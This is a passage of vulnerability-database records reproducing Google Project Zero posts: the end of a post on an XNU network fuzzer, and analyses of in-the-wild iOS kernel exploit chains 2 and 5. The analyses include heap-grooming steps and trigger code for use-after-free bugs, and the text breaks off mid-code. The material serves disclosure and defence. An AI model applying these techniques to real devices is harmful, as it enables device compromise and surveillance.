tractable problems, and I expect researchers can adapt some of these techniques to binary-only fuzzing efforts, even if there is additional overhead.\n\nOpen Sourcing and Future Work\n\nThis fuzzer is now open source on [GitHub](<https://github.com/googleprojectzero/SockFuzzer>). I invite you to study the code and improve it! I\u2019d like to continue the development of this fuzzer semi-publicly. Some modifications that yield new vulnerabilities may need to be embargoed until relevant patches go out. Still, I hope that I can be as transparent as possible in my research. By working publicly, it may be possible to bring the original XNU project and this fuzzer closer together by sharing the efforts. I\u2019m hoping the upstream developers can make use of this project to perform their own testing and perhaps make their own improvements to XNU to make this type of testing more accessible. There\u2019s plenty of remaining work to improve the existing grammar, add support for new subsystems, and deal with some high-level design improvements such as adding proper threading support.\n\nAn interesting property of the current fuzzer is that despite reaching coverage saturation on ClusterFuzz after many months, there is still reachable but uncovered code due to the enormous search space. This means that improvements in coverage-guided fuzzing could find new bugs. I\u2019d like to encourage teams who perform fuzzing engine research to use this project as a baseline. If you find a bug, you can take the credit for it! I simply hope you share your improvements with me and the rest of the community.\n\nConclusion\n\nModern kernel development has some catching up to do. XNU and Linux suffer from some process failures that lead to [shipping](<https://www.synacktiv.com/en/publications/return-of-the-ios-sandbox-escape-lightspeeds-back-in-the-race.html>) [security](<https://www.theguardian.com/technology/2019/aug/20/apple-reopens-security-flaw-ios-iphone>) [regressions](<https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=c6c9fee35dc27362b7bac34b2fc9f5b8ace2e22c>). Kernels, perhaps the most security-critical component of operating systems, are becoming increasingly fragile as memory corruption issues become easier to discover. Implementing better mitigations is half the battle; we need better kernel unit testing to make identifying and fixing (even non-security) bugs cheaper.\n\nSince my last post, Apple has increased the frequency of its open-source releases. This is great for end-user security. The more publicly that Apple can develop XNU, the more that external contributors like myself may have a chance to contribute fixes and improvements directly. Maintaining internal branches for upcoming product launches while keeping most development open has helped Chromium and Android security, and I believe XNU\u2019s development could follow this model. As software engineering grows as a field, our experience has shown us that open, shared, and continuous development has a real impact on software quality and stability by improving developer productivity. If you don\u2019t invest in CI, unit testing, security reviews, and fuzzing, attackers may do that for you - and users pay the cost whether they recognize it or not.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-04-22T00:00:00", "type": "googleprojectzero", "title": "\nDesigning sockfuzzer, a network syscall fuzzer for XNU\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-4407", "CVE-2019-8605"], "modified": "2021-04-22T00:00:00", "id": "GOOGLEPROJECTZERO:AE1504011977EE818F4F94D9A070275A", "href": "https://googleprojectzero.blogspot.com/2021/04/designing-sockfuzzer-network-syscall.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-07T02:00:23", "description": "# Posted by Ian Beer, Project Zero\n\n** \n** \n\n\nTL;DR \n \n\n\nThis was an exploit for a known bug class which I had been auditing for since [late 2016](<https://bugs.chromium.org/p/project-zero/issues/detail?id=954>). The same anti-pattern which lead to this vulnerability, we\u2019ll see again in Exploit Chain #3, which follows this post. \n \n\n\nThis exploit chain targets iOS 10.3 through 10.3.3. Interestingly, I also independently discovered and reported this vulnerability to Apple, and it was fixed in iOS 11.2. \n \n\n\nThis also demonstrates that Project Zero\u2019s work does collide with bugs being exploited in the wild.\n\n## In-the-wild iOS Exploit Chain 2 - IOSurface\n\ntargets: 5s through 7, 10.3 through 10.3.3 (vulnerability patched in 11.2) \n \n\n\niPhone6,1 (5s, N51AP)\n\niPhone6,2 (5s, N53AP)\n\niPhone7,1 (6 plus, N56AP)\n\niPhone7,2 (6, N61AP)\n\niPhone8,1 (6s, N71AP)\n\niPhone8,2 (6s plus, N66AP)\n\niPhone8,4 (SE, N69AP)\n\niPhone9,1 (7, D10AP)\n\niPhone9,2 (7 plus, D11AP)\n\niPhone9,3 (7, D101AP)\n\niPhone9,4 (7 plus, D111AP)\n\n \nversions: (dates are release dates) \n \n14E277 (10.3 - 27 Mar 2017) \n\n\n14E304 (10.3.1 - 3 Apr 2017)\n\n14F89 (10.3.2 - 15 May 2017)\n\n14G60 (10.3.3 - 19 Jul 2017) <last version of iOS 10>\n\n \nfirst unsupported version: 11.0 19 sep 2017 \n \nThis bug wasn't patched until iOS 11.2, but they only supported iOS 10.3-10.3.3 (the last version of iOS 10.) For iOS 11 they moved to a new chain. \n\n\n### The kernel vulnerability \n\nThe kernel bug used here is CVE-2017-13861; a bug collision with [Project Zero issue 1417](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1417>), aka async_wake. I independently discovered this vulnerability and reported it to Apple on October 30th 2017. The attackers appears to have ceased using this bug prior to me finding it; the first unsupported version is iOS 11, released 19 September 2017. The bug wasn't fixed until iOS 11.2 however (released December 2nd 2017.) \n \n\n\nThe release of iOS 11 would have broken one of the exploitation techniques used by this exploit; specifically in iOS 11 the mach_zone_force_gc() kernel MIG method was removed. It's unclear why they moved to a completely new chain for iOS 11 (with a new trick for forcing GC after the removal of the method) rather than updating this chain. \n\n### The vulnerability\n\nWe saw in the first chain that IOKit external methods can be called via the IOConnectCallMethod function. There's another function you can call instead: IOConnectCallAsyncMethod, which takes an extra mach port and reference argument: \n \n\n\nkern_return_t\n\nIOConnectCallMethod(mach_port_t connection, \n\nuint32_t selector,\n\nconst uint64_t* input,\n\nuint32_t inputCnt,\n\nconst void* inputStruct,\n\nsize_t inputStructCnt,\n\nuint64_t* output,\n\nuint32_t* outputCnt,\n\nvoid* outputStruct,\n\nsize_t* outputStructCnt);\n\n \nvs \n \n \n\n\nkern_return_t\n\nIOConnectCallAsyncMethod(mach_port_t connection,\n\nuint32_t selector,\n\nmach_port_t wake_port,\n\nuint64_t* reference,\n\nuint32_t referenceCnt,\n\nconst uint64_t* input,\n\nuint32_t inputCnt,\n\nconst void* inputStruct,\n\nsize_t inputStructCnt,\n\nuint64_t* output,\n\nuint32_t* outputCnt,\n\nvoid* outputStruct,\n\nsize_t* outputStructCnt);\n\n \nThe intention is to allow drivers to send a notification message to the supplied mach port when an operation is completed (hence the \"Async\"(hronous) in the name.) \n \nSince IOConnectCallAsyncMethod is a MIG method the lifetime of the wake_port argument will be subject to MIG's lifetime rules for mach ports. \n\n\n \n\n\nMIG takes a reference on wake_port and calls the implementation of the MIG method (which will then call in to the IOKit driver's matching external method implementation.) The return value from the external method will be propagated up to the MIG level where the following rule will be applied: \n \n\n\nIf the return code is non-zero, indicating an error, then MIG will drop the reference it took on the wake_port. If the return code is zero, indicating success, then MIG will not drop the reference it took on wake_port, meaning the reference was transferred to the external method. \n \n\n\nThe bug was that IOSurfaceRootUserClient external method 17 (s_set_surface_notify) would drop a reference on the wake_port then also return an error code if the client had previously registered a port with the same reference value. MIG would see that error code and drop a second reference on the wake_port when only one reference was taken. This lead to the reference count being out-of-sync with the number of pointers to the port, leading to a use-after-free. \n \n\n\nAgain, this is directly reachable from inside the MobileSafari renderer sandbox due to this line in the sandbox profile: \n \n\n\n(allow iokit-open\n\n(iokit-user-client-class \"IOSurfaceRootUserClient\")\n\n### Setup\n\nThis exploit also relies on the system loader to resolve symbols. It uses the same code as Exploit Chain #1 to terminate all other threads in the current task. Before continuing on however, this exploit first tries to detect whether this device has already been exploited. It reads the kern.bootargs sysctl variable, and if the bootargs contains the string \"iop1\" then the thread goes into an infinite loop. At the end of the exploit we'll see them using the kernel memory read/write primitive they build to add the \"iop1\" string to the bootargs. \n \n\n\nThey use the same serialized NSDictionary technique to check whether this device and kernel version combo is supported and get the necessary offsets.\n\n### Exploitation\n\nThey call setrlimit with the RLIMIT_NOFILE resource parameter to increase the open file limit to 0x2000. They then create 0x800 pipes, saving the read and write end file descriptors. Note that by default iOS has a low default limit for the number of open file descriptors, hence the call to setrlimit.\n\n \nThey create an IOSurfaceRootUserClient connection; this time just used to trigger the bug rather than for storing property objects. \n \nThey call mach_zone_force_gc(), indicating that their initial resource setup is complete and they're going to start the heap groom. \n\n\n### Kernel Zone allocator garbage collection\n\nThis exploit introduces a new technique involving the mach_zone_force_gc host port method. In the first chain we saw the use of the kernel kalloc function for allocating kernel heap memory. The word heap is used here with its generic meaning of as \"area used for scratch memory\"; it has nothing to do with the classical [heap data structure](<https://en.wikipedia.org/wiki/Heap_\\(data_structure\\)>). The memory returned by kalloc is actually from a zone allocator called [zalloc](<https://www.blackhat.com/docs/eu-15/materials/eu-15-Todesco-Attacking-The-XNU-Kernal-In-El-Capitain.pdf>). \n \n\n\nThe kernel reserves a fixed-size region of its virtual address space for the kernel zone allocator and defines a number of named zones. The virtual memory region is then split up into chunks as zones grow based on dynamic memory allocation patterns. All zones return allocations of fixed sizes. \n \n\n\nThe kalloc function is a wrapper around a number of general-purpose fixed-sized zones such as kalloc.512, kalloc.6144 and so on. The kalloc wrapper function chooses the smallest kalloc.XXX zone size which will fit the requested allocation, then asks the zone allocator to return a new allocation from that zone. In addition to kalloc zones, many kernel subsystems also define their own special purpose zones. The kernel structures representing mach ports for example are always allocated from their own zone called ipc.ports. This is not intended to be a security mitigation (ala [PartitionAlloc](<https://chromium.googlesource.com/chromium/src/+/dcc13470a/third_party/WebKit/Source/wtf/PartitionAlloc.md>) or [GigaCage](<https://labs.mwrinfosecurity.com/blog/some-brief-notes-on-webkit-heap-hardening/>)) but it does mean that an attacker has to take a few extra steps to build generic use-after-free exploits. \n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcM-LlJo91j0MXr7nfNfHJm7Lmxi6z-3oEcIKE33lqV3XJ7FJLiw4F93Egy0qN-tdcQ27ombxD4Lkqz_UE68f06CHF--NVtbcVwsMwrt5fYEEPoIeCU2joakjC0nRQ60I9ytrPFSit-zZCCmiK2-DhrtdY6HIez12S6-lI-ByNe-xIn7Tc2yGQP77O/s2048/zalloc%20zones%20-%20HI_RES.png>)\n\nOver time zalloc zones can become fragmented. When there's memory pressure the zone allocator can perform a garbage collection. This has nothing to do with garbage collection in managed languages like java; the meaning here is much simpler: a zone GC operation involves finding zone chunks which consist of completely free allocations. Such chunks are removed from the particular zone (eg kalloc.4096) and made available to all zones again. \n \n\n\nPrior to iOS 11 it was possible to force such a zone garbage collection to occur by calling the mach_zone_force_gc() host port MIG method. Forcing a zone GC is a very useful primitive as it enables the exploitation of a bug involving objects from one zone to using objects from another. This technique will be used in all subsequent kernel exploits we'll look at. \n \n\n\nLet's return to the exploit. They allocate two sets of ports: \n \n\n\nSet 1: 1200 ports\n\nSet 2: 1024 ports\n\n \nAs we saw in the first chain, they're going to make use of mach message out-of-line memory descriptors for heap grooming. They make minor changes to the function itself but the principle remains the same, to make controlled-size kalloc allocations, the lifetimes of which are tied to particular mach ports. They call send_kalloc_reserver: \n \n\n\nsend_kalloc_reserver(v124, 4096, 0, 2560, 1);\n\n \nThis sends a mach message to port v124 with 2560 out-of-line descriptors, each of which causes a kalloc.4096 zone allocation. The contents of the memory aren't important here, initially they're just trying to fill in any holes in the kalloc.4096 zone.\n\n### Port groom\n\nWe've seen that the vulnerability involves mach ports, so we expect to see some heap grooming involving mach ports, which is what happens next. They allocate four more large groups of ports which I've named ports_3, ports_4, ports_5 and ports_6: \n \n\n\nThey allocate 10240 ports for the ports_3 group in a tight loop, then allocate a single mach port which we'll call target_port_1. They then allocate another 5120 ports for ports_4 in a second loop. \n \n\n\nThey're trying to force a heap layout like the following, where target_port_1 lies in an ipc_ports zone chunk where all the other ports in the chunk are from either ports_3 or ports_4. Note that due to the [zone freelist mitigation introduced in iOS 9.2](<https://gsec.hitb.org/materials/sg2016/D2%20-%20Stefan%20Esser%20-%20iOS%2010%20Kernel%20Heap%20Revisited.pdf>) there may be ports from both ports_3 and ports_4 before and after target_port_1:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOiyyK9RAlrKRBTJP0lDUPj2tsmR8U2RZ2y4xULcqGgOCpQVFBOhpY3dq1QAP0W_1C39PcQpP-vjy-ANGh_XXfYyiq7668rux_JVQMGJ8aLk9fudklAfwc8LKa1vgW2GMcJL-6QoU_GtBn4VWUO1UXPEe2Amy7YgM4z4X0t6FOJs7lik8WdNA0ueQF/s3108/async_wake%20-%20HI_RES.png>) \nThey perform this same groom again, now with ports_5, then target_port_2, then ports_6: [](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhN3LuDkBQl-1TmLnWjTUwa3OJQ0TTyS5Vr5WEp4Newpeg1xkW7ipGiCZMnWsgedDpIsBkE5RNxJWy73w4UeYHnUPNzpO00REikkQQHcDpF6nn3PMJa9GEDvV59vJI15ic2dE5s9riU0uVNy3x8y2FFgBDTW9Q7dDYEGJ7tI_YCO52Kr-hBlcGagnZx/s3153/async_wake%20ports%20%20diagram%202%20-%20HI_RES.png>) They send a send right to target_port_1 in an out-of-line ports descriptor in a mach message. Out-of-line ports, like out-of-line memory regions, will crop up again and again so it's worth looking at them in detail.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-08-29T00:00:00", "type": "googleprojectzero", "title": "\nIn-the-wild iOS Exploit Chain 2\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-13861", "CVE-2019-8646"], "modified": "2019-08-29T00:00:00", "id": "GOOGLEPROJECTZERO:8F5F85400267DF1EFD1897A0E2FF0671", "href": "https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-2.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-07T02:00:19", "description": "# Posted by Ian Beer, Project Zero\n\n** \n** \n\n\nTL;DR\n\n** \n** \n\n\nThis exploit chain is a three way collision between this attacker group, [Brandon Azad from Project Zero](<https://googleprojectzero.blogspot.com/2019/01/voucherswap-exploiting-mig-reference.html>), and [@S0rryMybad from 360 security](<http://blogs.360.cn/post/IPC%20Voucher%20UaF%20Remote%20Jailbreak%20Stage%202%20\\(EN\\).html>). \n \nOn November 17th 2018, @S0rryMybad used this vulnerability to win $200,000 USD at the [TianFu Cup PWN competition](<http://www.tianfucup.com/>). Brandon Azad independently discovered and reported the same issue to Apple on December 6th, 2018. Apple patched this issue on January 22, 2019, with both @S0rryMyBad and Brandon credited in the [release notes for iOS 12.1.4](<https://support.apple.com/en-us/HT209443>) (CVE-2019-6225). It even won a [pwnie at Blackhat 2019](<https://pwnies.com/winners/>) for best privilege escalation bug! \n \nSo, why did the attackers, who already possessed then-functioning iOS Exploit Chain 4 (that contained the 0-days reported to Apple in February 2019), leave that chain and move to this brand new exploit chain? Probably because it was far more reliable, used only one vulnerability rather than the collection of vulnerabilities, and avoided the pitfalls inherent in the thread-based reallocation technique used for the sandbox escape in iOS Exploit Chain 4. \n \nThe more important takeaway, however, is what the vulnerability was. In 2014, Apple added an unfinished implementation of a new feature named \u201cvouchers\u201d and part of this new code was a new syscall (technically, a task port MIG method) which, from what I can tell, never worked. To be clear, if there had been a test which called the syscall with the expected arguments, it would have caused a kernel panic. If any Apple developer had attempted to use this feature during those four years, their phone would have immediately crashed. \n \nIn this detailed writeup, we'll look at exactly how the attackers exploited this issue to install their malicious implant and monitor user activity on the devices. My next writeup is on the implant itself, including command and control and a demonstration of its surveillance capabilities.\n\n## In-the-wild iOS Exploit Chain 5 - task_swap_mach_voucher\n\ntargets: 5s through X, 11.4.1 through 12.1.2 \nfirst unsupported version 12.1.3 - 22 Jan 2019\n\n \n\n\niPhone6,1 (5s, N51AP)\n\niPhone6,2 (5s, N53AP)\n\niPhone7,1 (6 plus, N56AP)\n\niPhone7,2 (6, N61AP)\n\niPhone8,1 (6s, N71AP)\n\niPhone8,2 (6s plus, N66AP)\n\niPhone8,4 (SE, N69AP)\n\niPhone9,1 (7, D10AP)\n\niPhone9,2 (7 plus, D11AP)\n\niPhone9,3 (7, D101AP)\n\niPhone9,4 (7 plus, D111AP)\n\niPhone10,1 (8, D20AP)\n\niPhone10,2 (8 plus, D21AP)\n\niPhone10,3 (X, D22AP)\n\niPhone10,4 (8, D201AP)\n\niPhone10,5 (8 plus, D211AP)\n\niPhone10,6 (X, D221AP)\n\n** \n** \n\n\n15G77 (11.4.1 - 9 Jul 2018)\n\n16A366 (12.0 - 17 Sep 2018)\n\n16A404 (12.0.1 - 8 Oct 2018)\n\n16B92 (12.1 - 30 Oct 2018)\n\n16C50 (12.1.1 - 5 Dec 2018)\n\n16C10 (12.1.2 - 17 Dec 2018)\n\n### Vouchers\n\nVouchers were a feature introduced with iOS 8 in 2014. The vouchers code seems to have landed without being fully implemented, indicated by the comment above the vulnerable code: \n \n\n\n/* Placeholders for the task set/get voucher interfaces */\n\nkern_return_t \n\ntask_get_mach_voucher(\n\ntask_t task,\n\nmach_voucher_selector_ __unused which,\n\nipc_voucher_t* voucher)\n\n{\n\nif (TASK_NULL == task)\n\nreturn KERN_INVALID_TASK;\n\n \n\n\n*voucher = NULL;\n\nreturn KERN_SUCCESS;\n\n}\n\n \n\n\nkern_return_t \n\ntask_set_mach_voucher(\n\ntask_t task,\n\nipc_voucher_t __unused voucher)\n\n{\n\nif (TASK_NULL == task)\n\nreturn KERN_INVALID_TASK;\n\n \n\n\nreturn KERN_SUCCESS;\n\n}\n\n \n\n\nkern_return_t\n\ntask_swap_mach_voucher(\n\ntask_t task,\n\nipc_voucher_t new_voucher,\n\nipc_voucher_t* in_out_old_voucher)\n\n{\n\nif (TASK_NULL == task)\n\nreturn KERN_INVALID_TASK;\n\n \n\n\n*in_out_old_voucher = new_voucher;\n\nreturn KERN_SUCCESS;\n\n}\n\n \nYou're not alone if you can't immediately spot the bug in the above snippet; it remained in the codebase and on all iPhones since 2014, reachable from the inside of any sandbox. You would have triggered it though if you had ever tried to use this code and called task_swap_mach_voucher with a valid voucher. Within those four years, it\u2019s almost certain that no code was ever written to actually use the task_swap_mach_voucher feature, despite it being reachable from every sandbox. \n \nIt was likely never called once, not during development, testing, QA or production (because otherwise it would have caused an immediate kernel panic and forced a reboot). I can only assume that it slipped through code review, testing and QA. task_swap_mach_voucher is a kernel MIG method on a task port; it also cannot be disabled by the iOS sandbox, further compounding this error. \n \nTo see why there's actually a bug here, we need to look one level deeper at the MIG auto-generated code which calls task_swap_mach_voucher: \n \nHere's the relevant MIG definitions for task_swap_mach_voucher: \n \n \n\n\nroutine task_swap_mach_voucher(\n\ntask : task_t;\n\nnew_voucher : ipc_voucher_t;\n\ninout old_voucher : ipc_voucher_t);\n\n \n\n\n \n\n\n/* IPC voucher internal object */\n\ntype ipc_voucher_t = mach_port_t\n\nintran: ipc_voucher_t convert_port_to_voucher(mach_port_t)\n\nouttran: mach_port_t convert_voucher_to_port(ipc_voucher_t)\n\ndestructor: ipc_voucher_release(ipc_voucher_t)\n\n;\n\n \nHere's an annotated version of the autogenerated code which you get after running the MIG tool, and the XNU methods it calls: [](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0sxjtioNZDPT5L-8aVs1ye1thhpIXQlN3ZeuTIefxJ3fv5MaTD-KwV5qC3pQCQYy43W8uq4CFgL0vKM9umnW6Nsd7ZUt4YAx0F5PsLZlRMJYx7qzRATAQNeh-MxXmPWcbtjVGJN8S4HG8oOmd2ufaOpBbxqC4BbTChpS-Bv9x0E6F5tV2AMs18nou/s2048/voucher%20swap%20vuln%20-%20HI_RES.png>) What's the fundamental cause of this vulnerability? It's probably that MIG is very hard to use and the only way to safely use it is to very carefully read the auto-generated code. If you search for documentation on how to use MIG correctly, there just isn't any publicly available. \n\n\n \nThe takeaway here is that whilst the underlying cause of the vulnerability may be obscure, the fact remains that triggering and finding it is incredibly simple. \n \nAgain, unfortunately, these concerns aren't theoretical; this exact issue was being exploited in the wild.\n\n### Exploitation\n\nTo understand the exploit for this bug we need to understand something about what a mach voucher actually is. Brandon Azad nicely sums it up in his [post](<https://googleprojectzero.blogspot.com/2019/01/voucherswap-exploiting-mig-reference.html>): \"an IPC voucher represents a set of arbitrary attributes that can be passed between processes via a send right in a Mach message.\" \n \nConcretely, a voucher is represented in the kernel by the following structure: \n \n\n\n/*\n\n* IPC Voucher\n\n*\n\n* Vouchers are a reference counted immutable (once-created) set of\n\n* indexes to particular resource manager attribute values\n\n* (which themselves are reference counted).\n\n*/\n\nstruct ipc_voucher {\n\niv_index_t iv_hash; /* checksum hash */\n\niv_index_t iv_sum; /* checksum of values */\n\nos_refcnt_t iv_refs; /* reference count */\n\niv_index_t iv_table_size; /* size of the voucher table */\n\niv_index_t iv_inline_table[IV_ENTRIES_INLINE];\n\niv_entry_t iv_table; /* table of voucher attr entries */\n\nipc_port_t iv_port; /* port representing the voucher */\n\nqueue_chain_t iv_hash_link; /* link on hash chain */\n\n};\n\n \nBy supplying \"recipes\" to the host_create_mach_voucher host port MIG method you can create vouchers and get send rights to then mach ports representing those vouchers. Another important point is that vouchers are meant to be unique; for a given set of keys and values there is exactly one mach port representing them; providing the same set of keys and values in another recipe should yield the same voucher and voucher port. \n \nVouchers are allocated from their own zone (ipc_voucher_zone) and they are reference counted objects with the reference count stored in the iv_refs field. \n \nSince an exploit targeting a use-after-free vulnerability in mach vouchers is likely to have to create many vouchers, [Brandon's exploit](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1731#c10>) created USER_DATA vouchers, a type that contains user-controlled data such that he could always ensure a new voucher was created: \n \n \n\n\nstatic mach_port_t\n\ncreate_voucher(uint64_t id) {\n\nassert(host != MACH_PORT_NULL);\n\nstatic uint64_t uniqueness_token = 0;\n\nif (uniqueness_token == 0) {\n\nuniqueness_token = (((uint64_t)arc4random()) << 32) | getpid();\n\n}\n\n \n\n\nmach_port_t voucher = MACH_PORT_NULL;\n\n \n\n\n#pragma clang diagnostic push\n\n#pragma clang diagnostic ignored \"-Wgnu-variable-sized-type-not-at-end\"\n\nstruct __attribute__((packed)) {\n\nmach_voucher_attr_recipe_data_t user_data_recipe;\n\nuint64_t user_data_content[2];\n\n} recipes = {};\n\n#pragma clang diagnostic pop\n\n \n\n\nrecipes.user_data_recipe.key = MACH_VOUCHER_ATTR_KEY_USER_DATA;\n\nrecipes.user_data_recipe.command = MACH_VOUCHER_ATTR_USER_DATA_STORE;\n\nrecipes.user_data_recipe.content_size = sizeof(recipes.user_data_content);\n\nrecipes.user_data_content[0] = uniqueness_token;\n\nrecipes.user_data_content[1] = id;\n\nkern_return_t kr = host_create_mach_voucher(\n\nhost,\n\n(mach_voucher_attr_raw_recipe_array_t) &recipes,\n\nsizeof(recipes),\n\n&voucher);\n\nassert(kr == KERN_SUCCESS);\n\nassert(MACH_PORT_VALID(voucher));\n\nreturn voucher;\n\n}\n\n \nBoth [@S0rryMybad](<https://twitter.com/S0rryMybad>) and the attackers instead realised that ATM vouchers created with the following recipe are always unique. This same structure is used in both @S0rryMybad's PoC and the in-the-wild exploit: \n \n \n\n\nmach_voucher_attr_recipe_data_t atm_data = {\n\n.key = MACH_VOUCHER_ATTR_KEY_ATM,\n\n.command = 510\n\n}\n\n### Exploit strategy\n\nAs usual they determine whether this is a 4k or 16k device via the hw.memsize sysctl. They create a new, suspended thread and get its thread port; they'll use this later. \n \nThey will again use the pipe buffer technique so they increase the open file limit and allocate 0x800 pipes. They allocate two sets of ports (ports_a, ports_b) and two standalone ports. \n \nThey allocate an ATM voucher; they'll use this right at the end. They force a GC, using the memory pressure technique again. \n \nThey allocate 0x2000 \"before\" vouchers; they're ATM vouchers which means they're all unique; this will allocate large regions of new ipc_voucher structure and new ipc_ports.\n\n** \n** \n\n\nfor ( k = 0; k < 0x2000; ++k ) {\n\nhost_create_mach_voucher(mach_host_self(),\n\nvoucher_recipe,\n\n0x10,\n\n&before_voucher_ports[k]);\n\n}\n\n \nThey allocate a target voucher: \n \n \n\n\nhost_create_mach_voucher(mach_host_self(), voucher_recipe, 0x10, &target_voucher_port);\n\n \nThey allocate 0x1000 \"after\" vouchers: \n \n \n\n\nfor ( k = 0; k < 0x1000; ++k ) {\n\nhost_create_mach_voucher(mach_host_self(),\n\nvoucher_recipe,\n\n0x10,\n\n&after_voucher_ports[k]);\n\n}\n\n \nThey're trying here to get the target voucher on a page where they also control the lifetime of all the other vouchers on a page; this is similar to the ipc_port UaF techniques: [](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3WO3Ov_tyQEJbMo4SuHldfBE49nTbVaePgfrRt4NrVl8gw_ljo4Daa5nIqsyuCno57x2qJF4hOTVifAFIB0m6KBVA6wDuQ4n924QhwaP5_MxIE-84nS1Kro8v8x0hKxXE5UYH9f9u8EWlPmjSKrO3g6jeCTHg8mgRsyrqdaL9SAJkxpU2aMdFRWZT/s3714/vouchers%201%20-%20HI_RES.png>) They assign the voucher port to the sleeping thread via thread_set_mach_voucher. \n\n\nThis increases the reference count of the voucher to 2; one held by the port, and one held by the thread: \n \n\n\nthread_set_mach_voucher(sleeping_thread_mach_port, target_voucher_port);\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuz-dZfQGAxvSKO8nj91C-5rBm1FY-gmorGy3dVIlDVjNOWuFMnhVgXwsTltsnK1mjZHkSi46Y_AShYF-qokQnMsoBs19yIXP-u8RWPT_AW-WeKlaNsipoDswzxdlapoDBXStVa9JMXRqlH0x9-VWHIcVKEvWHwvvzCzCBin8eP9a9n3yA4lr4YdOQ/s2646/vouchers%20references%201%20-%20HI_RES.png>) They trigger the vuln: \n\n\n \n\n\nold_voucher = MACH_PORT_NULL;\n\ntask_swap_mach_voucher(mach_task_self(),\n\ntarget_voucher_port,\n\n&old_voucher);\n\n \nAgain, I want to emphasize that there's absolutely nothing special about this trigger code; this is the intended way to use this API. \n \nAfter this point there are two reference-counted pointers to the voucher (one from the mach port to the voucher, the other from the sleeper thread's struct thread) but the voucher only has one reference. \n \nThey destroy the before ports: \n \n \n\n\nfor (m = 4096; m < 0x2000; ++m) {\n\nmach_port_destroy(mach_task_self(), before_voucher_ports[m]);\n\n}\n\n \nthen the target port: \n \n \n\n\nmach_port_destroy(mach_task_self(), target_voucher_port);\n\n \nand finally the after ports: \n \n \n\n\nfor (m = 4096; m < 0x1000; ++m) {\n\nmach_port_destroy(mach_task_self(), after_voucher_ports[m]);\n\n}\n\n \nSince the target voucher object one had one reference remaining, destroying the target_voucher_port will free the voucher as the reference count goes to zero, but the sleeper thread's ith_voucher field will still point to the now-free'd voucher. \n \nThey force a zone GC, making the page containing the voucher available to reallocated by another zone. \n \nThey send 80MB of page-sized out-of-line memory descriptors in mach messages; each of which contains repeating fake, empty voucher structures with an iv_refs field set to 0x100 and all other fields set to 0: \n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjR6Chxp6HrfU7l4b4k2iTAE8QrWHfupYuqEOfqefCruNq76t4fDUjm4kZ4JBhnquveGs1yzR48mE7f1_u3_IrPA6OwvC-JAKZn6__HYYV6Jzeztfd6cNKzMMrB7M5qi12uosaxv4U77z4JKjz8ksPwIDbUaxfhrHGzOD6tzMPirSiVytQPoK7mHjS0/s2048/vouchers%202%20-%20HI_RES.png>) These are sent in 20 messages, one each to the first 20 ports in ports_a. \n\n\n \nThey allocate another 0x2000 ports, discloser_before_ports. \n \nThey allocate a neighbour target port and set the context value to 0x1337733100; it's at first unclear why they do this but the reason will become clear in the end. \n \nThey then call thread_get_mach_voucher, passing the sleeper thread's thread port: \n \n\n\ndiscloser_mach_port = MACH_PORT_NULL;\n\nthread_get_mach_voucher(sleeping_thread_mach_port, 0, &discloser_mach_port);\n\n \nHere's the kernel-side implementation of that method; recall that ith_voucher is a dangling pointer to the voucher, and they tried to replace what it points to with the out-of-line memory descriptor buffers: \n \n \n\n\nkern_return_t \n\nthread_get_mach_voucher(\n\nthread_act_t thread,\n\nmach_voucher_selector_t __unused which,\n\nipc_voucher_t* voucherp)\n\n{\n\nipc_voucher_t voucher;\n\nmach_port_name_t voucher_name;\n\n \n\n\nif (THREAD_NULL == thread)\n\nreturn KERN_INVALID_ARGUMENT;\n\n 